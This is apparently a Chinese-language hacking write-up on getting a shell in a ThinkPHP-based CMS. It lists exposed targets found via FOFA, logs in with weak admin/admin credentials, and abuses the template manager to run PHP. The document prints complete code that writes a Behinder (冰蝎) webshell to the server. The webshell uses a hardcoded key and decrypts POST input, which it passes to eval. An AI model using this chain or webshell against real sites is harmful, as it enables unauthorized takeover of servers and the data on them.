此CMS是基于thinkphp框架二次开发的,目前有thinkphp5,以及thinkphp6两种版本。这些漏洞挖掘出来的时候已经在cnvd被提交过了。但是网上并没有漏洞文章。避免风险这里只分享思路。
通过fofa搜一下,大概两百多个独立IP
还不错,这个后台一般是个弱口令 admin admin
登录后可以查看到,具体thinkphp版本,这个对版本要求比较高,6.05以后好像就修复了。因为太明显了所以厚码,见谅。
这后台可以getshell原因是因为此处模板管理可以添加一个html页面,这里我们直接写phpinfo是可以查看到的。<?php phpinfo(); ?>
模板命名需要以article_开头,不然无法生效。
然后到文章模块去添加一个文章,来调用新建模板。
重点是调用模板名,需是我们之前添加的模板名。这里添加完成后提交生成即可。然后预览一下添加的文章即可。
可以看到代码已经生效,这里我一开始也以为可以直接写php一句话,但是发现写是可以写,但是因为后缀是html,webshell连接不上。
在html模板中添加php写文件代码路径我们可以从phpinfo中获取
{php}
echo "eeeee";
$myfile = fopen("/www/wwwroot/web/public/template/default/index/css/v.php", "w") or die("Unable to open file!");
$txt = ‘<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION["k"]=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded("openssl"))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode("|",$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>‘;
fwrite($myfile, $txt);
fclose($myfile);
{/php}
依旧是文章模块中进行调用此模板。保存后预览即可。
可以看到已经输出内容,证明代码已经写入文件。
这里正常链接上冰蝎。
总结:
虽然模板中添加的是{php}格式,但是实际解析出来会变成<>内容.算是个小知识点。